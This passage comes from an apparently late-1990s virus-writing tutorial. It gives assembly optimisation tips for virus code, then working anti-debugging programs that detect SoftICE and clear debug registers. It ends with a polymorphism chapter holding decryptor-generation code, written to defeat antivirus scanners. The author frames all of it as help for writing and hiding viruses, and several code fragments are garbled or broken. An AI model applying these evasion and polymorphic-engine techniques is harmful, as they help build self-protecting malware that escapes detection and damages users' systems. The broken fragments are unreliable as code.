      mov    ax,word ptr [esi+6]          ; 4 bytes
```

Or this one:

```
      mov    ax,word ptr [esi+6]          ; 4 bytes
      cwde                                ; 1 byte
```

I'm still wondering why all VX use this "old" formula, specially when you have a 386+ instruction that avoids us to make register to be zero before putting the word in AX. This instruction is MOVZX.

```
      movzx  eax,word ptr [esi+6]         ; 4 bytes
```

Heh, we avoided 1 instruction of 2 bytes. Cool, huh?

% Calling to an address stored in a variable %

Heh, this is another thing that some VX do, and makes me to go crazy and scream. Let me remember it to you:

```
      mov    eax,dword ptr [ebp+ApiAddress]  ; 6 bytes
      call   eax                          ; 2 bytes
```

We can call to an address directly guys... It saves bytes and doesn't use any register that could be useful for another things.

```
      call   dword ptr [ebp+ApiAddress]     ; 6 bytes
```

Another time again, we are saving an unuseful, and not needed instruction, that occupies 2 bytes, and we are making exactly the same.

% Fun with push %

Almost the same as above, but with push. Let's see what to don't do and what to do:

```
      mov    eax,dword ptr [ebp+variable]    ; 6 bytes
      push   eax                          ; 1 byte
```

We could do the same with 1 byte less. See.

```
      push   dword ptr [ebp+variable]       ; 6 bytes
```

Cool, huh? ;) Well, if we need to push many times (if the value is big, is more optimized if you push that value 2+ times, and if the value is small is more optimized to push it when you need to push the value 3+ times) the same variable is more optimized to put it in a register, and push the register. For example, if we need to push zero 3 times, is more optimized to xor a register with itself and later push the register. Let's see:

```
      push    00000000h                     ; 2 bytes
      push    00000000h                     ; 2 bytes
      push    00000000h                     ; 2 bytes
```

And let's see how to optimize that:

```
      xor     eax,eax                       ; 2 bytes
      push    eax                           ; 1 byte
      push    eax                           ; 1 byte
      push    eax                           ; 1 byte
```

Another thing passes while using SEH, as we need to push fs:[0] and such like. Let's see how to optimize that:

```
      push    dword ptr fs:[00000000h]        ; 6 bytes ; 666? Mwahahahaha!
      mov     fs:[00000000h],esp              ; 6 bytes
      [...]
      pop     dword ptr fs:[00000000h]        ; 6 bytes
```

Instead that we should do this:

```
      xor     eax,eax                       ; 2 bytes
      push    dword ptr fs:[eax]              ; 3 bytes
      mov     fs:[eax],esp                    ; 3 bytes
      [...]
      pop     dword ptr fs:[eax]              ; 3 bytes
```

Heh, seems a silly thing, but we have 7 bytes less! Whoa!!!

% Get the end of an ASCIIz string %

This is very useful, specially in our API search engines. And of course, it could be done more optimized rather than the typical way in all viruses. Let's see:

```
      lea     edi,[ebp+ASCIIz_variable]       ; 6 bytes
@@1:   cmp     byte ptr [edi],00h             ; 3 bytes
      inc     edi                           ; 1 byte
      jnz     @@1                           ; 2 bytes
```

```
        inc     edi                             ; 1 byte
```

This same code could be very reduced, if you code it in this way:

```
        lea     edi,[ebp+ASCIIz_variable]       ; 6 bytes
        xor     al,al                           ; 2 bytes
@@1:    scasb                                   ; 1 byte
        jnz     @@1                             ; 2 bytes
```

Hehehe. Useful, short and good looking. What else do you need? ;)

% Multiply shitz %

For example, while seeing the code for get the last section, the code most used includes this (we have in EAX the number of sections - 1):

```
        mov     ecx,28h                         ; 5 bytes
        mul     ecx                             ; 2 bytes
```

And this saves the result in EAX, right? Well, we have a much better way to do this, with an only one instruction:

```
        imul    eax,eax,28h                     ; 3 bytes
```

IMUL stores in the first register indicated the result, result that is given to us multiplying the second register indicated with the third operand, in this case, it's an immediate. Heh, we saved 4 bytes of substituing only 2 instructions of code!

% UNICODE to ASCIIz %

There are many to do here. Specially done for Ring-0 viruses, there is a VxD service for do that, firstly i'm gonna explain how to do the optimization based in the use of this service, and finally i'll show Super's method, that saves TONS of bytes. Let's see the typical code (assumming EBP as ptr to ioreq structure and EDI pointing to file name:

```
        xor     eax,eax                         ; 2 bytes
        push    eax                             ; 1 byte
        mov     eax,100h                        ; 5 bytes
        push    eax                             ; 1 byte
        mov     eax,[ebp+1Ch]                   ; 3 bytes
        mov     eax,[eax+0Ch]                ; 3 bytes
        add     eax,4                        ; 3 bytes
        push    eax                          ; 1 byte
        push    edi                          ; 1 byte
@@3:    int     20h                          ; 2 bytes
        dd      00400041h                    ; 4 bytes
```

Well, particulary only 1 improve could be done to that code, substitute the third line with this:

```
        mov     ah,1                         ; 2 bytes
```

Or this one ;)

```
        inc     ah                           ; 2 bytes
```

Heh, but i said that Super improved this to the max. I haven't copied his code to get the ptr to the unicode name of file, because is almost ununderstandable, but i catched the concept. Assumptions are EBP as ptr to ioreq structure and buffer as a 100h bytes buffer. Here goes some code:

```
        mov     esi,[ebp+1Ch]                ; 3 bytes
        mov     esi,[esi+0Ch]                ; 3 bytes
        lea     edi,[ebp+buffer]             ; 6 bytes
@@1:    movsb                                ; 1 byte ─┐
        dec     edi                          ; 1 byte  │ This loop was
        cmpsb                                ; 1 byte  │ made by Super ;)
        jnz     @@1                          ; 2 bytes ─┘
```

Heh, the first of all routines (without local optimization) is 26 bytes, the same with that local optimization is 23 bytes, and the last routine, the structural optimization is 17 bytes. Whoaaaa!!!

% VirtualSize calculation %

This title is an excuse for show you another strange opcode, very useful for VirtualSize calculations, as we have to add to it a value, and get the value that was there before our addition. Of course, the opcode i am talking about is XADD. Ok, ok, let's see the unoptimized VirtualSize calculation (i assume ESI as a ptr to last section header):

```
        mov     eax,[esi+8]                  ; 3 bytes
        push    eax                          ; 1 byte
```

```
      add    dword ptr [esi+8],virus_size    ; 7 bytes
      pop    eax                            ; 1 byte
```

And let's see how it should be with XADD:

```
      mov    eax,virus_size                ; 5 bytes
      xadd   dword ptr [esi+8],eax          ; 4 bytes
```

With XADD we saved 3 bytes ;) Btw, XADD is a 486+ instruction.

% Setting STACK frames %

Let's see it unoptimized:

```
      push   ebp                            ; 1 byte
      mov    ebp,esp                        ; 2 bytes
      sub    esp,20h                        ; 3 bytes
```

And if we optimize...

```
      enter  20h,00h                        ; 4 bytes
```

Charming, isn't it? ;)

% Overlapping %

This simple thing was used initially by Demogorgon/PS for conceal code. But used as the way i'm gonna show you, it can save bytes. For example, let's imagine a routine that sets the carry flag if there is an error, and clears if if there isn't an error.

```
noerr: clc                                  ; 1 byte
      jmp    exit                           ; 2 bytes
error: stc                                  ; 1 byte
exit:  ret                                  ; 1 byte
```

But we can decrease the size 1 byte if the content of any of the 8 byte registers isn't important (for example, let's imagine that ECX register content is not important):

```
noerr: clc                                  ; 1 byte
      mov    cl,00h                         ; 1 byte \
      org    $-1                          ;        > MOV CL,0F9H
error: stc                                 ; 1 byte /
      ret                                 ; 1 byte
```

We can avoid the CLC with a sightly little change: using TEST (with AL, coz it's more optimized) will clear the carry, and AL won't be modified :)

```
noerr: test   al,00h                        ; 1 byte \
      org    $-1                          ;        > TEST AL,0AAH
error: stc                                 ; 1 byte /
      ret                                 ; 1 byte
```

Nice, huh?

% Moving an 8-bit immediate to a 32-bit register %

Well, almost everyone does this:

```
      mov    ecx,69h                       ; 5 bytes
```

This is a really unoptimized thing... Try with this one:

```
      xor    ecx,ecx                       ; 2 bytes
      mov    cl,69h                        ; 2 bytes
```

Even better, try this one:

```
      push   69h                          ; 2 bytes
      pop    ecx                          ; 1 byte
```

Is all OK? :)

% Clearing variables in memory %

Ok, this is always useful. Ussually the ppl does this:

```
      mov    dword ptr [ebp+variable],00000000h ; 10 bytes (!)
```

Ok, this is a savage thing, i know :) Ok, you'll win 3 bytes with this:

```
      and    dword ptr [ebp+variable],00000000h ; 7 bytes
```

Heheheheh :)

% Tips & tricks %

Here i will put unclassificalble tricks for optimize, or if i assumed that you know them while making this article ;)

- Never use JUMPS directive in your code.
- Use string operations (MOVS, SCAS, CMPS, STOS, LODS).
- Use LEA reg,[ebp+imm32] rather than MOV reg,offset imm32 / add reg,ebp.
- Make your assembler pass many times over the code (in TASM, /m5 is good).
- Use the STACK, and avoid as much as possible to use variables.
- Try to avoid use AX,BX,CX,DX,SP,SI,DI and BP, as they occupy 1 byte more.
- Many operations (logical ones specially) are optimized for EAX/AL register
- Use CDQ for clean EDX if EAX is lower than 80000000h (ie. has no sign).
- Use XOR reg,reg or SUB reg,reg for make a register to be zero.
- Using EBP and ESP as index waste 1 byte more than EDI, ESI, etc.
- For bit operations use the "family" of BT (BT,BSR,BSF,BTR,BTF,BTS).
- Use XCHG instead MOV if the register order doesn't matter.
- While pushing all values of IOREQ structure, use a loop.
- Use the HEAP as much as possible (API addresses, temp infection vars, etc)
- If you like, use conditional MOVs (CMOVs), but they are 586+.
- If you know how to, use the coprocessor (its stack, for example).
- Use SET family of opcodes for use semaphores in yer code.
- Use VxDJmp instead VxDCall for call IFSMgr_Ring0_FileIO (no ret needed).

% Final words %

I expect you understood at least the first optimizations put in this chapter because they are the ones that make me go mad. I know i am not the best at optimization, neither one of them. For me, the size doesn't matter. Anyway, the obvious optimizations must be done, at least for demonstrate you know to something in your life. Less unuseful bytes means a better virus, believe me. And don't come to me using the same words that QuantumG used in his Next Step virus. The optimizations i showed here WON'T make your virus to lose stability. Just try to use them, ok? It's very logic, guyz.

Win32 antidebugging

Here i will list some tricks that could be used for the purpose of self-protect your viruses and/or your programs againist debuggers (of all levels, application and system). I hope you will like it.

% Win98/NT: Detecting Application level debuggers with IsDebuggerPresent %

This API is not present in Win95, so you will have to test for its presence, and works with application level debuggers only (such as TD32). And it works fine. Let's see what it's written about it in the Win32 API reference list.

-·-

The IsDebuggerPresent function indicates whether the calling process is running under the context of a debugger. This function is exported from KERNEL32.DLL.

BOOL IsDebuggerPresent(VOID)

Parameters

This function has no parameters.

Return Value

- If the current process is running in the context of a debugger, the return value is nonzero.

- If the current process is not running in the context of a debugger, the return value is zero.

-·-

So, an example for demonstrate this is very simple. Here it goes.

```
;───[ CUT HERE ]─────────────────────────────────────────────────────────────

        .586p
        .model flat

extrn   GetProcAddress:PROC
extrn   GetModuleHandleA:PROC
extrn   MessageBoxA:PROC
extrn   ExitProcess:PROC

              .data

szTitle        db     "IsDebuggerPresent Demonstration",0
msg1           db     "Application Level Debugger Found",0
msg2           db     "Application Level Debugger NOT Found",0
msg3           db     "Error: Couldn't get IsDebuggerPresent.",10
              db     "We're probably under Win95",0

@IsDebuggerPresent db   "IsDebuggerPresent",0
K32            db     "KERNEL32",0

      .code

antidebug1:
       push    offset K32                     ; Obtain KERNEL32 base address
       call    GetModuleHandleA
       or      eax,eax                        ; Check for fails
       jz      error

       push    offset @IsDebuggerPresent      ; Now search for the existence
       push    eax                            ; of IsDebuggerPresent. If
       call    GetProcAddress                 ; GetProcAddress returns an
       or      eax,eax                        ; error, we assume we're in
       jz      error                          ; Win95

       call    eax                            ; Call IsDebuggerPresent

       or      eax,eax                        ; If it's not 0, we're being
       jnz     debugger_found                 ; debugged

debugger_not_found:
       push    0                              ; Show "Debugger not found"
       push    offset szTitle
       push    offset msg2
       push    0
       call    MessageBoxA
       jmp     exit

error:
       push    00001010h                      ; Show "Error! We're in Win95"
```

```
        push    offset szTitle
        push    offset msg3
        push    0
        call    MessageBoxA
        jmp     exit

debugger_found:
        push    00001010h                   ; Show "Debugger found!"
        push    offset szTitle
        push    offset msg1
        push    0
        call    MessageBoxA

exit:
        push    00000000h                   ; Exit program
        call    ExitProcess

end     antidebug1

;——[ CUT HERE ]——————————————————————————————————————————————————————
```

Ain't it nice? Micro$oft did the job for us :) But, of course, don't expect this method to work with SoftICE, the g0d ;)

% Win32: Another way of know if we're under the context of a debugger %

If you take a look into the article "Win95 Structures and Secrets", that was written by Murkry/iKX, and published in the Xine-3, you'll realize that there is a very cool structure in the FS register. Take a look into the field FS:[20h]... It's 'DebugContext'. Just make the following:

```
        mov     ecx,fs:[20h]
        jecxz   not_being_debugger
        [...]   <--- do whatever, we're being debugged :)
```

So, if FS:[20h] is zero, we're not being debugged. Just enjoy this little and simple method for detect debuggers! Of course, this can't be applied to SoftICE...

% Win32: Stopping Application level debuggers with SEH %

I still don't know why, but the application level debuggers die simply if the program uses SEH. And also the code emulators, if we make faults, die too :) The SEH, as i published in my article in DDT#1 is used for many interesting purposes. Go now and read in the "Advanced Win32 techniques" chapter the part i dedicated to SEH.

What you'll have to do is to make an SEH handler to point to where you want to countinue execution of the code, and when the SEH handler is set up, you provoke a flag (a good option is try to do something in 00000000h memory address) ;)

Well, i hope you understood that. If not... Erhm, forget it :) Also, as the other methods presented before, this cannot be applied to SoftICE.

% Win9X: Detect SoftICE (I) %

Well, i must greet here Super/29A, because he was the one that told me about this method. I broke this into two parts: in this one we will see how to do it from a Ring-0 virus. I won't put a whole example program because it would fill unnecessary lines, but you must know that this method must be executed in Ring-0, and the VxDCall must be restored because the call-back problem (do you remember?).

Well, we are gonna use the Virtual Machine Manager (VMM) service Get_DDB, so the service will be 00010146h (VMM_Get_DDB). Let's see the information about this service on the SDK.

```
-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-

       mov    eax, Device_ID
       mov    edi, Device_Name
       int    20h                       ; VMMCall Get_DDB
       dd     00010146h
       mov    [DDB], ecx
```

- Determines whether or not a VxD is installed for the specified device and returns a DDB for that device if it is installed.

- Uses ECX, flags.

- Returns a DDB for the specified device if the function succeeds;
- otherwise, returns zero.

■ Device_ID: The device identifier. This parameter can be zero for name-based devices.

- Device_Name: An eight-character device name that is padded with blank characters. This parameter is only required if Device_ID is zero. The device name is case-sensitive.

-·

Well, you are wondering why all this shit. Very simple, the Device_ID field of SoftICE VxD is constant for all programs, as it's registered in Micro$oft so we have a weapon again the marvelous SoftICE. It's Device_ID is 202h always. So we should use code like this:

```
      mov    eax,00000202h
      VxDCall VMM_Get_DDB
      xchg   eax,ecx
      jecxz  NotSoftICE
      jmp    DetectedSoftICE
```

Where NotSoftICE should be the continuation of virus code, and the label DetectedSoftICE should handle the action to perform, as we know that our enemy is alive :) I don't suggest anything destructive because, for example, would hurt my computer, as i always have SoftICE active :)

% Win9X: Detect SoftICE (II) %

Well, here goes another method for detect the presence of my beloved SoftICE but based in the same concept of before: the 202h ;) Again i must greet to Super :) Well, in the Ralph Brown Interrupt list we can see a very cool service in the interrupt 2Fh (multiplex), the 1684h

```
-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·
Inp.:
      AX = 1684h
      BX = virtual device (VxD) ID (see #1921)
      ES:DI = 0000h:0000h
Return:ES:DI -> VxD API  entry  point, or 0:0 if the VxD does not support an
      API
Note:  some Windows  enhanced-mode virtual  devices  provide  services  that
      applications  can  access.  For example, the  Virtual  Display Device
      (VDD) provides an API used in turn by WINOLDAP.
-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·
```

So, you put in BX a 202h, and execute this function. And you then say... "Hey Billy... How the fuck i can use interrupts?". My answer is... USE THE VxDCALL0!!!

% Win32: Detect SoftICE (III) %

The definitive and wonderful trick that you was waiting... The global solution of finding SoftICE in both Win9x and WinNT enviroments! It's very easy, 100% API based, and without "dirty" tricks that go againist compatibility. And the answer isn't as hidden as you can think... the key is in an API that you've surely used before: CreateFile. Yes, that API... ain't it charming? Well, we have to try to open the following:

- + SoftICE for Win9x : "\\.\SICE"
- + SoftICE for WinNT : "\\.\NTICE"

If the API returns us something different than -1 (INVALID_HANDLE_VALUE), SoftICE is active! Here follows a demonstration program:

```
;───[ CUT HERE ]──────────────────────────────────────────────────────────

        .586p
        .model  flat

extrn   CreateFileA:PROC
extrn   CloseHandle:PROC
extrn   MessageBoxA:PROC
extrn   ExitProcess:PROC

        .data

szTitle         db      "SoftICE detection",0

szMessage       db      "SoftICE for Win9x : "
answ1           db      "not found!",10
                db      "SoftICE for WinNT : "
answ2           db      "not found!",10
                db      "(c) 1999 Billy Belcebu/iKX",0

nfnd            db      "found!    ",10

SICE9X          db      "\\.\SICE",0
SICENT          db      "\\.\NTICE",0
```

```
       .code

DetectSoftICE:
       push    00000000h                   ; Check for the presence of
       push    00000080h                   ; SoftICE for Win9x envirome-
       push    00000003h                   ; nts...
       push    00000000h
  push    00000001h
       push    0C0000000h
       push    offset SICE9X
       call    CreateFileA

       inc     eax
       jz      NoSICE9X
       dec     eax

       push    eax                        ; Close opened file
       call    CloseHandle

       lea     edi,answ1                   ; SoftICE found!
       call    PutFound
NoSICE9X:
       push    00000000h                   ; And now try to open SoftICE
       push    00000080h                   ; for WinNT...
       push    00000003h
       push    00000000h
  push    00000001h
       push    0C0000000h
       push    offset SICENT
       call    CreateFileA

       inc     eax
       jz      NoSICENT
       dec     eax

       push    eax                        ; Close file handle
       call    CloseHandle

       lea     edi,answ2                   ; SoftICE for WinNT found!
       call    PutFound
NoSICENT:
       push    00h                        ; Show a MessageBox with the
       push    offset szTitle               ; results
```

```
        push    offset szMessage
        push    00h
        call    MessageBoxA

        push    00h                            ; Terminate program
        call    ExitProcess

PutFound:
        mov     ecx,0Bh                        ; Change "not found" by
        lea     esi,nfnd                       ; "found"; address of where
        rep     movsb                          ; to do the change is in EDI
        ret

end     DetectSoftICE

;——[ CUT HERE ]——————————————————————————————————————————————————————————
```

This really works, believe me :) The same method can be applied to other "hostile" drivers, just research a bit on it.

% Win9X: Kill debugger hardware breakpoints %

If you were wondering about the debug registers (DR?), we have a little problem: they are privileged instructions in WinNT. The trick consisits in this simple thing: Nulify DR0, DR1, DR2 and DR3 (they are the most used by debuggers as hardware breakpoints). So, simply with this code, you'll annoy the debugger:

```
        xor     edx,edx
        mov     dr0,edx
        mov     dr1,edx
        mov     dr2,edx
        mov     dr3,edx
```

Hahah, isn't it funny? :)

% Final Words %

Well, some simple antidebugging tricks. I hope you can use them in your virus without problems. See ya!

Win32 polymorphism

Well, many people said me that the most weak point in my guides for MS-DOS was the polymorphism chapter (Mmmh, i wrote it when 15, and btw, i knew asm for only 1 month). I know. But for this reason, here i am trying to write another one, completly new, and created from nothing. I read many polymorphism documents since then, and without any doubt, the document that most impacted me, was Qozah's one, although it is very simple, he explains very well all the concepts that we have to have more clear while coding a polymorphic engine (if you want to read it, download DDT#1 from all the good VX sites over the world). I will speak in some parts of this chapter for the really dumb lamers, so if you have a basical knowledge, skip'em!.

% Introduction %

The main reason of the existence of the polymorphism is, as always, related with the existence of the AV. In the times where there weren't polymorphic engines, the AV simply used a scan string for detect the virus, and the greatest they had were encrypted viruses. So, one day a VX had a brilliant idea. I'm sure he thought "Why if i make an unscannable virus, at least, by the actual techniques?". Then polymorphism borned. Polymorphism means the attempt to eliminate all posible constant bytes in the only part of an encrypted virus that can be scanned: the decryptor. Yes, polymorphism means build variable decryptors for the virus. Heh, simple and effective. This is the basic concept: never build two equal decryptors (in shape) but perform the same action always. Is like the natural extension of the encryption, but as the encryption codes also weren't short enough, they could be catched with a string, but with polymorphism the strings are unuseful.

% Polymorphism levels %

Each level of polymorphism has its own name, given by the AV ppl. Let's see it in a little extraction of AVPVE (good work, Eugene).

-·-

There exists a system of division of polymorphic viruses into levels according to complexity of code in decryptors of those viruses. Such a system was introduced by Dr. Alan Solomon and then enhanced by Vesselin Bontchev.

Level 1: Viruses having a set of decryptors with constant code, choosing one while infecting. Such viruses are called "semi-polymorphic" or "oligomorphic".

Examples: "Cheeba", "Slovakia", "Whale".

Level 2: Virus decryptor contains one or several constant instructions, the rest of it is changeable.

Level 3: decryptor contains unused functions - "junk" like NOP, CLI, STI,etc

Level 4: decryptor uses interchangeable instructions and changes their order (instructions mixing). Decryption algorithm remains unchanged.

Level 5: all the above mentioned techniques are used, decryption algorithm is changeable, repeated encryption of virus code and even partial encryption of the decryptor code is possible.

Levels 6: permutating viruses. The main code of the virus is subject to change to change, it is divided into blocks which are positioned in random order while infecting. Despite of that the virus continues to be able to work. Such viruses may be unencrypted.

Such a division still has drawbacks, because the main criteria is possibility of virus detection according to the code of decryptor with the help of conventional technique of virus masks:

Level 1: to detect the virus it is sufficient to have several masks

Level 2: virus detection with the help of the mask using "wild cards"

Level 3: virus detection with the help of the mask after deleting "junk" instructions

Level 4: the mask contains several versions of possible code,that is becomes algorithmic

Level 5: impossibility of virus detection using mask

Insufficiency of such a division is demonstrated in a virus of the third level of polymorphism, which is called accordingly - "Level3". This virus being one of the most complicated polymorphic viruses falls into the third category according to the current division, because it as a constant

decryption algorithm, preceded by a lot of "junk" instructions. However in this virus the "junk" generation algorithm is finessed to perfection: in the code of decryptor one may find virtually all the i8086 instructions.

If the viruses are to be divided into levels of the point of view of anti-viruses, using the systems of automatic decryption of virus code (emulators), then this division will depend on the virus code complexity. Other techniques of virus detection are possible, for example, decryption with the help of primary laws of mathematics, etc.

Therefore to my mind a division is more objective, if besides the virus mask criterion, other parameters are taken into consideration.

1. The degree of complexity of polymorphic code (a percentage of all the instructions of the processor, which may be met in the decryptor code)
2. Anti-emulator technique usage
3. Constancy of decrypting algorithm
4. Constancy of decryptor size

I would not like to describe those items in greater detail, because as a result it will definitely lead virus makers to creating monsters of such kind.

-·-

Haha,Eugene! i will, sucka! ;) Ain't it charming when the AV niggas do one's job? :)

% How can i do a poly? %

First of all, you must have clear in your mind how you basically want the decryptor look like. For example:

```
        mov    ecx,virus_size
        lea    edi,pointer_to_code_to_crypt
        mov    eax,crypt_key
@@1:     xor    dword ptr [edi],eax
        add    edi,4
        loop   @@1
```

A very simple example should be that, ok? Well, mainly we have 6 blocks here (each instruction is a block). Imagine how many different possibilities you have of make that code different:

- Change registers
- Change the order of the 3 first instructions
- Use different instructions for make the same action
- Insert do-nothing instructions
- Insert garbage,etc.

Well, this is mainly the idea of polymorrphism. Let's see a possible decryptor generated with a simple polymorphic engine, with this same decryptor:

```
      shl    eax,2
      add    ebx,157637369h
      imul   eax,ebx,69
(*)   mov    ecx,virus_size
      rcl    esi,1
      cli
(*)   lea    edi,pointer_to_code_to_crypt
      xchg   eax,esi
(*)   mov    eax,crypt_key
      mov    esi,22132546h
      and    ebx,0FF242569h
(*)   xor    dword ptr [edi],eax
      or     eax,34548286h
      add    esi,76869678h
(*)   add    edi,4
      stc
      push   eax
      xor    edx,24564631h
      pop    esi
(*)   loop   00401013h
      cmc
      or     edx,132h
      [...]
```

Did you catch the idea? Well, for the AV, to catch a decryptor as this one ain't very difficult (well, it's more difficult for them rather than an unencrypted virus). Many improvements could be done, believe me. I think you realized that we need different procedures in your poly engine: one for create the "legitimal" instructions of the decryptor, and another for create the garbage. This is the main idea you must have when coding a poly engine. From this point, i'm gonna try to explain as better as i can both.

% Very important thing: the RNG %

Yes, the most important part in a polymorphic engine is the Random Number Generator, aka RNG. A RNG is a piece of code that can return a completly random number. Here goes the typical one for DOS, that works too in Win9X, even under Ring-3, but not in NT.

```
random:
       in     eax,40h
       ret
```

This will return in the MSW of EAX zero, and a random value in the LSW of said register. But this is not powerful... We must seek another one... and this is up to you. The only thing i can do at this point for you is to show you how to know if your RNG is powerful, with a little program. It consists in a "rip" of Win32.Marburg payload (by GriYo/29A), and testing the RNG of this virus, by GriYo too. Of course that the code is adapted and correctly stripped, and could be easily compiled and executed.

```
;──[ CUT HERE ]──────────────────────────────────────────────────────────────
;
; RNG Tester
; ──────────┘
;
; If the icons on the screen are really "randomly" placed, the RNG is a good
; one, but if all the icons are in the same zone of the screen, or you notice
; a strange comportament of the icons over the screen, try with another RNG.
;

        .386
        .model  flat

res_x   equ     800d                        ; Horizontal resolution
res_y   equ     600d                        ; Vertical resolution

extrn   LoadLibraryA:PROC                     ; All the APIs needed by the
extrn   LoadIconA:PROC                        ; RNG tester
extrn   DrawIcon:PROC
extrn   GetDC:PROC
extrn   GetProcAddress:PROC
extrn   GetTickCount:PROC
extrn   ExitProcess:PROC

        .data

szUSER32        db      "USER32.dll",0         ; USER32.DLL ASCIIz string
```

```
a_User32        dd      00000000h             ; Variables needed
h_icon          dd      00000000h
dc_screen       dd      00000000h
rnd32_seed      dd      00000000h
rdtsc           equ    <dw 310Fh>

       .code

RNG_test:
       xor     ebp,ebp                       ; Bah, i am lazy and i havent
                                            ; removed indexations of the
                                            ; code... any problem?

       rdtsc
       mov     dword ptr [ebp+rnd32_seed],eax

       lea     eax,dword ptr [ebp+szUSER32]
       push    eax
       call    LoadLibraryA

       or      eax,eax
       jz      exit_payload

       mov     dword ptr [ebp+a_User32],eax

       push    32512
       xor     edx,edx
       push    edx
       call    LoadIconA
       or      eax,eax
       jz      exit_payload

       mov     dword ptr [ebp+h_icon],eax

       xor     edx,edx
       push    edx
       call    GetDC
       or      eax,eax
       jz      exit_payload
       mov     dword ptr [ebp+dc_screen],eax

       mov     ecx,00000100h                ; Put 256 icons in the screen
```

```
loop_payload:

        push    eax
        push    ecx
        mov     edx,eax
        push    dword ptr [ebp+h_icon]
        mov     eax,res_y
        call    get_rnd_range
        push    eax
        mov     eax,res_x
        call    get_rnd_range
        push    eax
        push    dword ptr [ebp+dc_screen]
        call    DrawIcon
        pop     ecx
        pop     eax
        loop    loop_payload

exit_payload:
        push    0
        call    ExitProcess

; RNG - This example is by GriYo/29A (see Win32.Marburg)
;
; For test the validity of your RNG, put its code here ;)
;

random  proc
        push    ecx
        push    edx
        mov     eax,dword ptr [ebp+rnd32_seed]
        mov     ecx,eax
        imul    eax,41C64E6Dh
        add     eax,00003039h
        mov     dword ptr [ebp+rnd32_seed],eax
        xor     eax,ecx
        pop     edx
        pop     ecx
        ret
random  endp

get_rnd_range proc
        push    ecx
        push    edx
        mov     ecx,eax
        call    random
        xor     edx,edx
        div     ecx
        mov     eax,edx
        pop     edx
        pop     ecx
        ret
get_rnd_range endp

end     RNG_test

;───[ CUT HERE ]──────────────────────────────────────────────────────────────
```

It's interesting, at least for me, to see the comportaments of the different mathematical operations :)

% The basic concepts of a polymorphic engine %

I think you should know what i am going to explain, so, if you already have coded a poly engine, or you know how to create one, i sincerely recommend you to pass this point, or you would begin to damn my ass, and i don't want it.

Well, first of all, we will generate the code in a temporal buffer somewhere ussually in the heap, but could be done easily allocating memory with the VirtualAlloc or GlobalAlloc APIs. We have only to put a pointer to the beginning of such buffer memory zone, and this register is ussually EDI, coz the optimization by using STOS set of instructions. So we have to put in this memory buffer the opcodes' bytes. Ok, ok, if you still think that i am a sucker because i explain things without silly code examples, i will demonstrate you that you are wrong.

```
;───[ CUT HERE ]──────────────────────────────────────────────────────────────
;
; Silly PER basic demonstrations (I)
;  ─────────────────────────────────┘
;

        .386                            ; Blah
        .model  flat

        .data
```

```
shit:

buffer  db     00h

       .code

Silly_I:

       lea     edi,buffer                      ; Pointer to the buffer
       mov     al,0C3h                        ; Byte to write, in AL
       stosb                                 ; Write AL content where EDI
                                            ; points
       jmp     shit                           ; As the byte we wrote, C3,
                                            ; is the RET opcode, we fi-
                                            ; nish the execution.

end     Silly_I

;——[ CUT HERE ]——————————————————————————————————————————————————————————
```

Compile the previous thingy and see what happens. Heh? It doesn't do nothing i know. But you see that you generated the code, not coded it directly, and i demonstrated you that you can generate code from nothing, and think about the possibilities, you can generate a whole useful code from nothing in a buffer. This is bassically the concept of polymorphic engines code (not the poly engines generated code) of how to generate the decryptor code. So, imagine we want to code something like our set of instructions:

```
       mov     ecx,virus_size
       mov     edi,offset crypt
       mov     eax,crypt_key
 @@1:   xor     dword ptr [edi],eax
       add     edi,4
       loop    @@1
```

Then, basically the code for generate that decryptor from the scratch would be like this one:

```
       mov     al,0B9h                        ; MOV ECX,imm32 opcode
       stosb                                 ; Store AL where EDI points
       mov     eax,virus_size                  ; The imm32 to store
       stosd                                 ; Store EAX where EDI points
       mov     al,0BFh                        : MOV EDI,offset32 opcode
```

```
        stosb                                ; Store AL where EDI points
        mov     eax,offset crypt               ; Offset32 to store
        stosd                                ; Store EAX where EDI points
        mov     al,0B8h                       ; MOV EAX,imm32 opcode
        stosb                                ; Store AL where EDI points
        mov     eax,crypt_key                  ; Imm32 to store
        stosd                                ; Store EAX where EDI points
        mov     ax,0731h                      ; XOR [EDI],EAX opcode
        stosw                                ; Store AX where EDI points
        mov     ax,0C783h                     ; ADD EDI,imm32 (>7F) opcode
        stosw                                ; Store AX where EDI points
        mov     al,04h                        ; Imm32 (>7F) to store
        stosb                                ; Store AL where EDI points
        mov     ax,0F9E2h                     ; LOOP @@1 opcode
        stosw                                ; Store AX where EDI points
```

Ok, then you have generated the code as it should be, but you realized that is very easy to add do-nothing instruction between the real ones, by using the same method. You could experiment with one-byte instructions, for example, for see its captabilities.

```
;───[ CUT HERE ]──────────────────────────────────────────────────────────────
;
; Silly PER basic demonstrations (II)
;  ──────────────────────────────────┘
;

        .386                                 ; Blah
        .model  flat

virus_size      equ     12345678h              ; Fake data
crypt          equ     87654321h
crypt_key       equu    21436587h

        .data

        db      00h

        .code

Silly_II:

        lea     edi,buffer                    ; Pointer to the buffer
                                             ; is the RET opcode, we fi-
```

```
                                        ; finish the execution.

        mov     al,0B9h                 ; MOV ECX,imm32 opcode
        stosb                           ; Store AL where EDI points
        mov     eax,virus_size          ; The imm32 to store
        stosd                           ; Store EAX where EDI points

        call    onebyte

        mov     al,0BFh                 ; MOV EDI,offset32 opcode
        stosb                           ; Store AL where EDI points
        mov     eax,crypt               ; Offset32 to store
        stosd                           ; Store EAX where EDI points

        call    onebyte

        mov     al,0B8h                 ; MOV EAX,imm32 opcode
        stosb                           ; Store AL where EDI points
        mov     eax,crypt_key
        stosd                           ; Store EAX where EDI points

        call    onebyte

        mov     ax,0731h                ; XOR [EDI],EAX opcode
        stosw                           ; Store AX where EDI points

        mov     ax,0C783h               ; ADD EDI,imm32 (>7F) opcode
        stosw                           ; Store AX where EDI points
        mov     al,04h                  ; Imm32 (>7F) to store
        stosb                           ; Store AL where EDI points

        mov     ax,0F9E2h               ; LOOP @@1 opcode
        stosw                           ; Store AX where EDI points

        ret

random:
        in      eax,40h                 ; Shitty RNG
        ret

onebyte:
        call    random                  ; Get a random number
        and     eax,one_size            ; Make it to be [0..7]
        mov     al,[one_table+eax]      ; Get opcode in AL
